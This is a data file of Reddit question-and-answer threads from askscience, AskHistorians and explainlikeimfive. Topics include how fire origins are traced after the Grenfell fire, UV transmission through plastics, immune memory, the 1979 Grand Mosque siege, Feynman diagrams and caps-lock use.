{"q_id": "6j0tg2", "title": "The recent fire in London was traced to an electrical fault in a fridge freezer. How can you trace with such accuracy what was the single appliance that caused it?", "selftext": "Edit: Thanks for the informative responses and especially from people who work in this field. Let's hope your knowledge helps prevent horrible incidents like these in future.\n\nEdit2: Quite a lot of responses here also about the legitimacy of the field of fire investigation. I know pretty much nothing about this area, so hearing this viewpoint is also interesting. I did askscience after all, so the critical points are welcome. Thanks, all.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6j0tg2/the_recent_fire_in_london_was_traced_to_an/", "answers": {"a_id": ["djal10z", "djal2e7", "djandx3", "djaq6pl", "djaqbls", "djaqjva", "djar0cj", "djasewm", "djat4ll", "djatazf", "djatin8", "djatwzu", "djauirb", "djawjdt", "djaxz3q", "djay81b", "djb10ei", "djb1dm2", "djb3iz4", "djb7msk", "djbr9qx"], "score": [320, 10994, 3361, 98, 23, 3, 194, 2, 10, 7, 7, 82, 7, 41, 10, 9, 3, 11, 31, 10, 2], "text": ["I'm sure someone who understands how burn patterns work will be able to explain it to you in the more general case ... but it has to do with the fact that things don't burn out completely, and the scorch marks are different where the fire started and was small.\n\nIn this particular case, however, a big helping hand came from the fact that the guy who lived in the flat where it started told people that his fridge caught fire, and it went from there.  Don't have a source right now, but some of the initial reports of the fire quoted some guy as saying his neighbour told him it was his fridge.", "In this case, it was easy - the fire was seen when it started, reported, firefighters attended and extinguished the fire in that flat - but not before the fire spread to the outside of the building. The questions to be answered here are engineering ones - why a cladding material that would have been designed and tested as safe proved to be so unsafe in practice.\n\nBut even in less obvious cases, the source of the ignition is often obvious. When ignition happens, there is lots of oxygen there, so things burn completely. When the fire gets going, there's less oxygen available, so things burn partially. Fire generally burns up - so the source of a fire is often the only thing on the floor that is badly burned.\n\nEdit: Lots of good replies to my comment - including some fire investigators that state that the source of the fire is usually less combusted than the surroundings, as they burn cooler before the fire gets going.", "My father is a fire investigator. I asked him the same question. He showed me photos of the last one he determined the cause. All the knobs on the stove were off besides one. It melted obviously being on. The people had left the stove on. They start at the area that has the most fire damage then look for something that isn't how it should be. ", "Most people don't know this, I think, but there's an entire field of study about fire science. You'd be surprised what you can tell just by looking at a burning building about what started the fire, where is it burning already, and what's the safest way inside, if need be. \n\nNot to mention even after the fire is extinguished, experienced firefighters will be able to tell easily where the fire probably started. There might be darker burn marks on certain surfaces, or in this case, they probably saw a fridge half-melted and wires with their cheap coating melted clean off. ", "There are lots of indicators at a fire.\n\nFor instance, heat rises and radiates, so damage from a fire will be in a cone shape, back to the area of origin.\n\nAlso, different metals melt at different temperatures.  so if here you have aluminum and brass melted, and there you have just brass melted, it was hotter here.\n\nAlso, glass and plastic containers will be melted more on the side facing the fire, causing them to \"point\" to the area of origin.\n\nSo yes, there is quite a lot you can learn from investigating the scene of a fire.", "You'd be able to identify flash marks, where an ignition occurred. You would be able to trace the path of the fire to its origin. \n\nYou'd be able to tell by the circumstances of the fridge freezer, i.e a flash mark indicating a sudden fire and the electrical cord showing signs of fault, as opposed to combustion caused by exposure to pre existing flames. \n\nEye witness accounts would be able to rule out where the fire didn't start, i.e. \"I live in apartment C on floor 27 and I heard the alarm without any visual signs of flames in my apartment.\"", "I'm a certified indoor firefighter.  At the fire academy, we learned how cheaply houses are built nowadays and what to look/listen for in a fire.  A lot of buildings now have what are called truss roofs.  One beam is stretched from wall to wall and smaller beams are fanned out from the center of the beam to support the roof.  To attach the supports most of the time, an aluminum plate is attached and get this, staples or rivets are used, not nails.  \n\nWhen a fire is hot enough, it will make the plate expand, causing the staples/rivets to \"pop out\", making this metallic pinging noise.  If you hear that noise, you need to get out NOW because the roof is coming down.  Construction doesn't include the attic vent sometimes.  This vent is designed to allow the flow of superheated gases to escape the top of the house, preventing a flashover.  Everything is made of plastic nowadays, some which burns at 1200 F, while your turnout gear is good to 800 F.  So many dangers to be aware of in fires nowadays.  I love it when people ask me if I have a fear of being immolated.  I always tell them that I'm too busy thinking of other things, to be worried about that.", "I think it also depends on the severity of the fire. For example, the Ghost-ship fire in Oakland, investigators were unable to 100% determine the exact cause of the fire because it was so intense and destroyed a lot of it's own forensics.\n\nLast I heard the closest they could pinpoint that one was some kind of electrical fault in the kitchen area. Most likely, but can't confirm, the fridge. \n\n", "There rumours before the investigation started that it started from a fridge freezer. The man went and told his neighbour his fridge caught on fire, he even had time to go in and get his belongings, no one really fathomed what it would become.", "Think about a running river. You can see the water run down the river all the way to the bend. You can also see the water coming from up river. You can't see where the river starts yet. If you follow the river upstream you will eventually get to its start. Once there you see that a bunch of snow is melting and trickling down into the beginning of the stream. Now it's possible to say the melting snow is what causes the river. Big events like this fire are viewed as if you were standing at the river at the start. By following how the fire spread backwards you can get all the way to the very corner of a room. From there you might see the burnt up appliance as the only thing in that corner. Then you can look inside the appliance and potentially be able to trace the damage the same way all the way to the exact part of the appliance that started it all. \n\nTLDR; fire leaves a burn pattern similar to a river. Go backwards until you can't anymore. Tacos are great. ", "When wires get overloaded to the point that they start a fire they will often show signs of arcing. That is the electricity in the wire leaping from the wire to another conductive object will leave traces of that occurring because copper has a low melting point. Cut wires have a clean edge and arced ones have bulbus ends from where the wire has partially melted.", "As a firefighter myself, we tend to have a general idea of where the fire started due to witness accounts and phone report. Once on scene we pay attention to where most of the smoke and fire production is coming from, and after extinguishing the fire we look for stuff like \"V\" patterns on the wall, alligatoring (aka charring) on wood, melted plastic etc which is usually pretty good indicator of what direction the fire spread from and work almost like arrows pointing in the direction of the original source, after that we can narrow it down, we let the investigator know and then they probe deeper with looking/testing for signs of accelerants, looking at wiring, etc", "Actual Forensic investigator here (well... I am studying) \n\nUsually a fire will leave a big pointy arrow on the walls and ceiling (not joking) to where it started\n\nIt looks like a V as at the point of the V the fire is hottest and burns longest leaving more damage from the fire and smoke. \n\nEdit: they will test for accelerant's with a dog as it is the fumes that burn not the liquid itself \n\n ", "There are lots of comments in this thread which are citing \"known\" things from the field of fire investigation.\n\nIn recent years, it's being discovered how shoddy much of this field is. Scientists have started looking into some of the supposed indicators of various kinds of arson practices and described them as [\"witchcraft\"](_URL_1_), like lots of other forensic science which the National Academy of Science was [highly critical of in 2009](_URL_0_), particularly in the fast and loose way in which uncertainty of various analysis methods is portrayed in court. In addition, the National Academy found that some forensic practices have no basis in science at all, including hair texture analysis and handwriting analysis.", "What I find very interesting is how did the fire escape the place (apartment/flat) where it started and get to the outside of the building? And as well, how did it manage to burn into other higher areas (through windows, I'd guess?) ", "I have two degrees within the criminal justice field. One in police studies and one in criminal justice itself. (Just for source purposes) Usually they find out the exact origin of the fire from something called \"alligator tracks\" now I know that sounds incredibly red neck but bear with me for a second. The reason these marking are called alligator tracks is because there is always a series of lines right above where the point of origin of the fire began that resembles an alligators back. I haven't read many of the comments so sorry if I'm reiterating on what someone else said. Just thought I could lend a hand. ", "The guy who's fridge it was allegedly packed all of his belongings then knocked on a neighbours door telling her that his fridge was on fire before leaving... the answer for this case is kinda disappointing but if any science guys could tell us what the answer would be for another circumstance thatd be pretty cool", "Former firefighter here.  I spoke with an investigator about one of our fires and they determined that an extension cord caused the fire. The only thing left of it was the metal blades inside the outlet.  No other cords in the house were burnt with the same intensity.", "Fire investigation is an art and detective case all in one. \nIn a nutshell during fire operations in the back of every firefighters mind is preserving evidence and limiting water damage to the scene to ensure fire investigators can do their job. After the fire has been extinguished we start what is called salvage and overhaul. Overhaul is searching for hidden fires and hot spots. I won't go too in depth on overhaul because it's not pertinent. Keep in mind like I said before salvage is taking place the entirety of the operation. Now in this instance where a structure is so fully involved it makes it more difficult to find the source of the fire but the same principles and steps are still carried out. Fire investigators will start from the outside of the structure and move in and towards the source. Some things they may be looking out for is darkened roofing, fire trails, etc. for example lighting fixtures and furniture will point you to the source. If a piece of furniture is burnt up the most destroyed blackened area acts like an arrow to the origin of the fire. You follow what you can see until you typically find the most destroyed burnt area of a structure and you can usually call that the point of origin. Firefighters and investigators are always on the lookout for arson. Some ways to identify arson include, fire trails, empty gas canisters, fuel lines, accelerants, civilians near the scene who consistently appear at fires and tend to appear sketchy. People who set structures or anything really on fire tend to like to admire their work which can often be their downfall. Some other signs could be all important documents, expensive jewelry, electronics etc all missing from the structure which could be a sign of insurance fraud, especially if weeks prior the owner for some reason invested in fire coverage and took out a large insurance policy on their home etc. There are 4 different types of fire cause, natural, accidentally, arson, and undetermined.  In this case when it was determined it was an electrical source I can only assume some signs they noticed were, a v shape near the outlet of the fridge which indicates a short in the appliance, they may notices signs of arcing and beading around wiring. I could go on and on for days but if you want to know more I can always send you messages. \nAlso note I've only been in the fire service for just around 3 years now. \n2 years Fire explorer in California and 1 year DOD firefighter in Anchorage Alaska. So if anyone would care to share more informations I would be happy to learn\nHere's a glossary of a couple of words you may not be familiar with (not to insult intelligence)\nAccelerants: a substance used to aid the spread of fire\nArcing: luminous discharge of current that is formed when a strong current jumps a gap in a circuit or between two electrodes.", "Two of the most common techniques are calcination depth measurements using a constant force to determine the area of highest temperature exposure using gypsum wallboard and arc mapping if they suspect an electrical fire.\n\n\"The dehydration reaction, also known as calcination, is an endothermic decomposition reaction which occurs between 100 C and 120 C. When gypsum is heated in a fire, the dehydration follows the reaction in Equation 1.1 as solid gypsum starts to degrade, loses its strength and is eventually transformed back to the powdery material of calcium sulphate hemihydrate.\" _URL_0_\n\nArc mapping can be found on wikipedia, but it's simply a technique to identify the first location two energized wires melted and arced.", "ahem... probably time to remind everyone that this \"cause\" stated without any proof or substantiation has not been officially determined by ANYONE yet.\n\nall we have are wild speculation from biased sources\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www8.nationalacademies.org/onpinews/newsitem.aspx?RecordID=12589", "http://cen.acs.org/articles/90/i37/Forensic-Science-Innocence-Project.html"], [], [], [], [], [], ["http://www.civil.canterbury.ac.nz/fire/pdfreports/Chu04.pdf"], ["https://www.theguardian.com/uk-news/2017/jun/17/grenfell-tower-results-fire-investigation-published-years"]]}
{"q_id": "6pc6a9", "title": "Does UV light/radiation pass through clear plastic?", "selftext": "Does UV light pass through phone screen clear protectors? The transparent/clear protectors are made of PET and TPU.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6pc6a9/does_uv_lightradiation_pass_through_clear_plastic/", "answers": {"a_id": ["dkoh4g3", "dkotzkt"], "score": [20, 5], "text": ["Depends mostly on the wavelength. UV of ~350-400nm Will pass through most plastics. But less than ~300nm would be absorbed.\n\nHere's some graphs of the transmission.\n\n_URL_1_\n\n_URL_0_\n\nVirtually all plastics cut off hard below 300nm.", "[PET](_URL_0_) block UV light under 300nm, similar to glass.\n\n[TPU](_URL_1_) starts significant absorption at around 350nm."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.hitachi-hightech.com/products/images/10960/uh4150_data1_e.pdf", "http://usa.dupontteijinfilms.com/wp-content/uploads/2017/01/Mylar_Optical_Properties.pdf"], ["https://www.researchgate.net/profile/Chunfu_Zhang2/publication/273501395/figure/fig3/AS:294749471821826@1447285158339/Fig-3-Wavelength-dependent-transmittance-spectra-of-PET-glass-glass-MoO-3-2-nmAg.png", "http://pubs.rsc.org/services/images/RSCpubs.ePlatform.Service.FreeContent.ImageService.svc/ImageService/Articleimage/2011/JM/c0jm03487h/c0jm03487h-f8.gif"]]}
{"q_id": "2kjfaf", "title": "Where are vaccine \"memories\" stored?", "selftext": "If I understand correctly, vaccines work by exposing the immune system to a weakened, or even dead foreign body.  The immune system is trained to \"recognize\" this.\n\nWhere is this \"memory\" \"stored\"?\n\nForgive the quotes, but I know these words are likely not appropriate for the reality of the answer that is likely to come.  ;-)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2kjfaf/where_are_vaccine_memories_stored/", "answers": {"a_id": ["cllxmnx", "clly86o"], "score": [24, 2], "text": ["These are not memories in the way you remember what you had for breakfast this morning. The way the immune system recognizes non-self particles (like bacteria) is by identifying particular components of protein on the surface of the foreign body, typically called an epitope. As a part of the immune response, your body identifies a foreign epitope and ramps up production of cells in the immune system to destroy them. These cells include T cells and B cells.\n\nMost of these cells are shortlived, and do not stick around once the infection is eliminated. On the other hand, a small subset, called Memory T cells and Memory B cells, have much longer lifespans. \n\nOne of the slowest steps in the process of fighting off an infection is recognition of an epitope common to most/all of the pathogen causing the problem, this is necessary in order to create cells that will target the infection. \n\nMemory T and Memory B Cells make that process MUCH MUCH quicker allowing for rapid creation of cytotoxic T (killer T cells) which kill a pathogen more directly and B cells or B Lymphocytes which create antibodies which recognize the specific epitope and \"mop up\" the bacteria so that they are clustered and can be ingested and destroyed by macrophages (macrophage is greek for \"big eater\", these cells eat up the bad stuff, essentially)\n\nTo directly answer your question / tl;dr vaccines expose your body to just enough of a potential pathogen to cause generation of the memory cells but not to get you sick. \n\nFun fact: some pathogens, bacteria, but especially virii, change their epitope frequently. This is why last year's flu vaccine is not good this year. The flu vaccine is engineered against whatever happens to be the most common strain for that year.", "**TL;DR:**\nPrior to vaccination there are few B and T cells which can recognize a foreign particle(an antigen).\n\n\nThe vaccine is encountered by the very few B and T cells after a considerable amount of time, leading to the body initiating an immune response. This creates memory B and T cells specific to that antigen, capable of detecting it.\n\n\nThere are now more cells in your body that are capable of detecting that certain foreign particle. This means that the likelihood of that antigen being encountered sooner next time is increased by an extreme amount.\n\n\n**END TL;DR**\n\n\nOk, so\n\n\nThe reason that viruses and bacteria still initiate an immune response after being deactivated is that they still have these \"non-self\" markers, which the body's cells are able to identify, whether by being presented to helper T cells by phagocytes via MHC class 2 markers or binding to a specific T-cell etc.\n\n\nAfter the non-self marker has been \"detected\", humoral and cellular immunity are initiated, leading to the proliferation of B and T cells, which creates memory B and T cells in the process.\n\n\nThese memory B and T cells, which remain floating around in the lymphatic and circulatory system after repelling the disease, are what allows the body to have faster, stronger and longer immune responses against antigens(things that generate antibodies, hence antigen).\n\n\nOk, so, T and B cells have specific receptors for specific antigens. Prior to the first encounter, very few or one B and T cells specific to an antigen are present. This means that it takes a long time for the specific B/T cell to encounter the foreign particle. So obviously, if you have more of these cells floating around, the antigen will be encountered sooner, leading to a faster response.\n\n\nThe greater amount of T and B cells also means a greater Cytotoxic T-cells, cytokines(chemical messengers excreted by helper T-cells which stimulate other cells, such as natural killer cells or phagocytes) and antibodies can be produced, which all contribute to the repelling of the disease.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2hhmlg", "title": "Who introduced ignition keys to cars? How did it become an industry standard feature?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2hhmlg/who_introduced_ignition_keys_to_cars_how_did_it/", "answers": {"a_id": ["ckt3y5g"], "score": [17], "text": ["This is not a conclusive answer, but it's a starting point to look at patents on the particular devices. \n\nThere are several different patents for starting devices, most of them were patented from 1910 to 1920. \n\n[Charles Kettering Patented a electric \"engine starting device\"](_URL_3_) with a priority date of April 17th, 1911 but it wasn't activated by a key, rather it was activated by a foot pedal.  Charles Kettering was an engineer with Dayton Engineering Laboratories Company (DELCO). You;d recognize them today as half of AC DELCO, which is a subsidiary of GM. \n\nKettering likewise recieved a patent on a [dashboard mounted starter](_URL_0_)  - the drawings show sort of a toggle switch or lever.  He applied for that patent on March 12, 1910 and recieved it on June 26, 1917. \n\nAbout the same time Vincent Bendix invented the [Bendix Starter](_URL_1_) which had patent priority of March 15, 1916. Although it's an automative website, you can see a [detailed description of the part here](_URL_2_). \n\nLots of websites suggest that Bendix also patented a turn-key ignition in 1910, which was then placed into early model cadillacs, but I can't find any patent sources for that. \n\nSomething which many people may not realize is how starting a car works.   A hand cranked starting car works much like a hand pulled lawnmower.  You use muscle power to turn over the cylinders and create the compression necessary to ignite the gas.\n\nCars use an electric starter motor, which is a small secondary motor to accomplish this purpose. This motor requires a battery.   If this motor is running, it runs down the battery.  So for cars with electric starter motors, you need a switch to (A) turn on the starter motor, and then (B) trigger the starter motor to start the engine. \n\nAlthough I can't find a patent directly tied to using a key for ignition, [this popular mechanics from 1949](_URL_4_) lists it as a chrysler innovation that there is a combined starter and ignition swtich, removing the need for a starter button.  Again, that's not conclusive as to when it became an industry standard feature, but it wasn't long after that that it became ubiquitous to have a single key that would both \"turn on\" the car and turn to ignite the engine. \n\nEdit: fixed the last sentence. \n\n \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["patentimages.storage.googleapis.com/pdfs/US1231264.pdf", "https://www.google.com/patents/US1258302?dq=ininventor:%22Vincent+Bendix%22&amp;hl=en&amp;sa=X&amp;ei=s3glVP2zKJC1yATBroLgDg&amp;ved=0CFQQ6AEwCDge", "http://carsofmydreams.com/technical/model-t-bendix/", "https://www.google.com/patents/US1293468?dq=ininventor:%22Charles+F.+Kettering%22&amp;hl=en&amp;sa=X&amp;ei=H3IlVP7JLtevyASouIDoBQ&amp;ved=0CCQQ6AEwAQ", "http://books.google.com/books?id=SNkDAAAAMBAJ&amp;pg=PA122&amp;lpg=PA124#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "792yxx", "title": "Why were French commandos used to end the Meccan siege of 1979", "selftext": "So I was recently reading about the surprising and absurd instance of 1979 when French commandos had to briefly convert to Islam to be allowed into the holy city of Mecca in order to relieve its siege by al ikhwan extremists on behalf of the Saudi government. My question is why did the Saudi government resort to this? Surely it would be a massive PR failure for the Saudis and the broader Arab and Islamic worlds, to be seen relying on a former imperialist western power to protect their cultural heritage? Furthermore, why the French? From my own knowledge before the Saudis Mecca was traditionally in the British and ottoman Spheres of influence. It has no historical connection to France and France has little military presence there.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/792yxx/why_were_french_commandos_used_to_end_the_meccan/", "answers": {"a_id": ["dozpuyp"], "score": [8], "text": ["While it's true that the *Groupe d'intervention de la Gendarmerie Nationale*, the special operations unit of the French national police, was involved in ending the Grand Mosque siege, they weren't the primary force on the field: in fact, only three GIGN operators deployed to Saudi Arabia in November 1979, at the explicit request of the Saudi interior ministry. \n\nAs for why Saudi officials turned to France for assistance, there are a couple of reasons: one is that in 1979, there were as yet relatively few capable dedicated counter-terrorist forces in the world. GIGN, the British SAS' counter-terrorism wing and Germany's GSG-9 were all established in the mid-1970s, in the aftermath of the massacre at the Munich Olympics; the United States Army's Delta Force was only created in 1977, and the FBI's Hostage Rescue Team in 1983. GIGN, at the time, was (and remains) one of the world's premier counter-terrorist units \u2014 so it wasn't, on its face, a particularly strange place for the Saudis to turn in such circumstances.\n\nThe request also had a lot to do with the relationship between Alexandre de Marenches, the then-director of SDECE, the French external intelligence service. Throughout the 1970s, de Marenches sought to develop friendly relationships at the highest levels of the Saudi government \u2014 up to and including King Faisal. France became a major supplier of arms to the kingdom, and the French military and intelligence services provided advisory and training support to their Saudi counterparts.\n\nIn particular, de Marenches found a friend in Prince Turki bin Faisal, the king's son and (at the time of the siege), the newly-appointed chief of the *Mukhabarat* (General Intelligence Directorate). Turki and de Marenches were heavily involved in the formation of the 'Safari Club', a covert partnership between the intelligence services of France, Saudi Arabia, Egypt, Iran and Morocco.\n\nIn [his book on the Grand Mosque siege](_URL_1_), Yaroslav Trofimov also attributes an important role in seeking French aid to Prince Nayef bin Abdul-Aziz, Turki's uncle and Minister of the Interior. Nayef had apparently witnessed a striking display of GIGN's tactical prowess at a demonstration in France in the spring of 1979 \u2014 led by Paul Barril, deputy commander of GIGN and one of the officers who would be deployed to Saudi Arabia in November. According to Trofimov, \"once Prince Turki's phone call to Count de Marenches opened contacts on possible French help in the Mecca affair, the Saudis specifically requested the GIGN.\"\n\n Seeking a nonlethal approach to incapacitating the militants holding the Grand Mosque, the Saudi government asked GIGN to design a plan of attack using gas, and to oversee the operation \u2014 from Taef, a neighbouring city. They were not to be allowed to enter Mecca. Trofimov writes:\n\n >  In spite of this prohibition, Barril, by his own account, briefly sneaked into the holy city and into the Grand Mosque itself before the attack on the compound began. Some U.S. officials concur with this version.\n > \n >  Barril's two comrades in arms and [GIGN commander Christian] Prouteau are adamant that this never happened. The French role in the Mecca affair, they insist, was strictly limited to providing equipment and training in Taef and its vicinity. According to them, neither Barril nor any other French soldier set foot on Mecca's sacred ground during the siege.\n > \n >  Even if the French captain did visit Mecca during the crisis, it was in a strictly advisory capacity. No French commandos engaged in actual combat on Saudi soil.\n\nThe assault on the mosque was carried out by the Saudi National Guard \u2014 though some claim (without much in the way of compelling evidence) that commandos from Pakistan's Special Service Group were also involved. Lawrence Wright, in his otherwise excellent *[The Looming Tower](_URL_0_)*, gives a brief and rather flimsy account of the siege that includes both the *ad-hoc* conversion to Islam and has the commandos directly involved in the assault:\n\n >  A team of three French commandos from the Groupe d'Intervention de la Gendarmerie Nationale (GIGN) arrived in Mecca. Because of the prohibition against non-Muslims entering the holy city, they converted to Islam in a brief, formal ceremony. The commandos pumped gas into the underground chambers, but perhaps because the rooms were so bafflingly interconnected, the gas failed and the resistance continued.\n\nIt's unclear what Wright is basing that account on \u2014 other than widespread rumour and speculation that has circulated in the 30 years since the siege \u2014 and Trofimov has little to say about the topic of conversion; only that it apparently came up in conversation between the GIGN operators and their Saudi liaisons, not that it ever actually happened."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.ca/books?id=8dCnb4uR63EC", "https://books.google.ca/books?id=BgP72cgvn-gC"]]}
{"q_id": "8hvdve", "title": "How did they weld before they had protective glasses/masks?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8hvdve/how_did_they_weld_before_they_had_protective/", "answers": {"a_id": ["dyn03fp", "dyn5xoo"], "score": [1039, 255], "text": ["Dark glasses existed long before welding. Welding also started with gas welding, wcich required much less shielding.\n\nThen again, at that time, workplace safety wasn't a big thing. Heck, in many countries, you see people welding wearing only sunglasses.", "Welding actually began as a blacksmithing technique sometime around 2000 BCE in what's now Turkey \\(then Anatolia\\). There's a technique called forge welding where the smith heats two pieces of iron in the forge with some flux material to prevent oxidization before hammering the two pieces together on the anvil. No \\(dangerously\\) bright sparks or gases involved."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "10o6gq", "title": "Have there ever been any examples of presidential candidates being rivals on the campaign trail, but good friends in real life?", "selftext": "I'm imagining something like (just as an example) Barack Obama having a beer with Mitt Romney after the votes have been tallied, and having a friendly, nonpolitical conversation. Has this ever been the case among political opponents?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10o6gq/have_there_ever_been_any_examples_of_presidential/", "answers": {"a_id": ["c6f6g6h", "c6f79ip", "c6f8vmk"], "score": [20, 13, 7], "text": ["I can't imagine that occuring during the race, but I know past presidents from opposing parties sometimes work together / socialize. Bush senior and Clinton are supposed to have gotten along remarkably well, and I know that Bush junior reached out to both his father and Clinton for advice on a regular basis during his term. ", "Didn't Jefferson and John Adams have a very close relationship? \n\n", "Kennedy and Nixon were friends. Kennedy said that if he didn't get the nomination in 1960, he would vote for Nixon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5kg983", "title": "what in your brain causes you to randomly drop something that you're holding?", "selftext": "Obviously, there a various circumstances, but if you're standing still and holding an object, what in your brain suddenly says \"let go!\"", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kg983/eli5_what_in_your_brain_causes_you_to_randomly/", "answers": {"a_id": ["dbnvrns"], "score": [6], "text": ["Somewhere I read that happens because muscles relax, you focus on something else and \"forget\" you are holding something."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "42q3zu", "title": "is africa as unstable as the media portrays it to be?", "selftext": "I was watching Blood Diamond, with Leonardo DiCaprio and Africa seems like a shit hole of total madness, and i would like to know if this is true or false.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42q3zu/eli5_is_africa_as_unstable_as_the_media_portrays/", "answers": {"a_id": ["czc8osa", "czc8qqx", "czchm3x", "czchyad"], "score": [22, 14, 9, 2], "text": ["Africa's a pretty big place, and the experience can certainly vary depending on where you go. Blood Diamond was set during a civil war in Sierra Leone, so the shitshow factor is going to be pretty high in such a situation by default.\n\nIf you went to some place like Nairobi, Cape Town, or Johannesburg, it'd be more or less like most big cities - some nice areas, some middle-class areas, some touristy areas, and some places you'd probably want to avoid.", "What many people fail to realize is that countries in Africa differ quite wildly in terms of how successful and stable their government is. Certainly, in some countries there are lawless areas, and others have recurring civil wars and similar problems that leaves them quite dangerous. But in many countries you'll find modern cities where people do not worry much about war, have a relatively democratic government, etc.\n\nAfrican stereotypes are something of a roving phenomenon--works like *Blood Diamond* will be set in a location that is actually experiencing problems now, but people extrapolate this to all Africa, even though many areas that were once troubled have now improved. For example, Uganda democratized after the rule of Idi Amin, a harsh dictator, but found it had trouble getting foreigners to invest in Uganda for years because people did not know Idi Amin was gone.", "Actual African here (Somali):\n\nContrary to popular misconception, Africa as whole is actually quite stable.\n\nIMO people and media often confuse instability with lack of governance as well as the assumption that civil war = whole of that country is warzone.\n\nA lot of areas in Africa, tribal leader or similar actually hold a quite bit of power. The government can't afford/refuse to control these areas.\n\nPlenty of Somalis go to Somalia every year and some of them go to Al-Shabaab held areas without getting radicalised, murdered, etc.\n\nTribal leaders and the similar generally hold a lot of power in Africa. So, the misconception of instability sort of translates to lack of governance by official government. Lawless doesn't mean it's unstable. All it means that you rely on somebody in power in that area instead of the government or on your own and that there's no official list of laws you can rely on. In these areas, not many want to cause trouble lest they reap what they sowed anyway.", "The situation in the continent changes rapidly. Sierra Leone, where *Blood Diamond* takes place, is now much safer than when the movie takes place.\n\nToday, the worst areas are Northern Mali, Northern Nigeria, CAR, South Sudan, eastern DRC, Somalia (not including Somaliland or Mogadishu) and a few others.\n\nMost other areas are relatively safe and stable, despite the poverty and corruption that affects most African countries."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2od203", "title": "why do so many italian restaurants play american swing music?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2od203/eli5_why_do_so_many_italian_restaurants_play/", "answers": {"a_id": ["cmm5odi"], "score": [3], "text": ["Not just Italian, many upscale restaurants play uptempo big band and swing. My old boss said that it made the staff move quicker and the customers ate quicker allowing him to turn the tables for more customers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "32c9gq", "title": "Why are anti-particles shown as going backwards in time in Feynman diagrams?", "selftext": "Are they really going back in time, and if so would this explain the lack of antimatter, due to the anti particles essentially creating an identical universe, just going back in time, relative to us?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/32c9gq/why_are_antiparticles_shown_as_going_backwards_in/", "answers": {"a_id": ["cq9ydjd", "cqa1oip", "cqalxlm"], "score": [40, 2, 10], "text": ["Really, it's just a way of determining which quantities in your perturbation series are negative. It's mathematical notation only - it doesn't mean particles are actually traveling backwards through time.\n\nThat being said, it is a necessary mathematical convention to preserve causality. Particles traveling a certain direction in time are indistinguishable from their anti-particles traveling the opposite direction in time, and this causes the probability amplitude over spacelike intervals to exactly cancel, giving zero probability of a particle taking a \"faster than light\" path.", "In a Feynman diagram, time is always moving from left to right. The arrow on the line doesn't denote direction of movement or anything like that, it's purely to differentiate matter from antimatter. Regular matter particles are denoted by a right pointing arrow, while antimatter particles are denoted by a left pointing arrow. Regardless of the direction of the arrow though, the path of the particle through time moves from left to right. It can be a bit hard to get used to at first, you just have to get used to it.", "It really should be stressed that feynman diagrams are not a description of what is physically happening at all. It is a way of representing a single term of an infinite expansion. It happens that in many cases the first term in overwhelmingly dominant, but NEVER a physical system does \"single virtual particle exchange.\" It is just a method of approximating what is really going on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3muf7n", "title": "why are people preoccupied with order and detail called \"anal\" or \"anal retentive\".", "selftext": "How has Freud's development stage come to mean fussy? Where does a bum-hole come in?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3muf7n/eli5why_are_people_preoccupied_with_order_and/", "answers": {"a_id": ["cvi671l"], "score": [4], "text": ["Because he hypothesized that issues during this developmental stage (when a child is learning to control toilet functions, such as bowel movements) would carry over into adulthood, manifested as an obsession over detail and exerting inordinate control over ones environment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4b41gc", "title": "what is a use case situation in which it makes sense to use the capslock key?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4b41gc/eli5_what_is_a_use_case_situation_in_which_it/", "answers": {"a_id": ["d15vdq1", "d15w1zj", "d15we0n"], "score": [19, 6, 14], "text": ["When programming, I will often need to type something that is all caps. Such as GL_GLEXT_PROTOTYPES, GL_UNSIGNED_INTEGER or _INCLUDEFILE_H. It helps to use caps lock for these.", "Certain sections of certain kinds of legal contracts ARE GENERALLY WRITTEN IN ALL CAPS. AS A NON-LAWYER THAT WORKS WITH CONTRACTS, IT'S REALLY ANNOYING TO READ. ", "In engineering, the standards for drawings/schematics/prints require any text (bill of materials, spec notes, revision block, title block, etc) to be in all capitals.  My designers often use caps lock because of this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
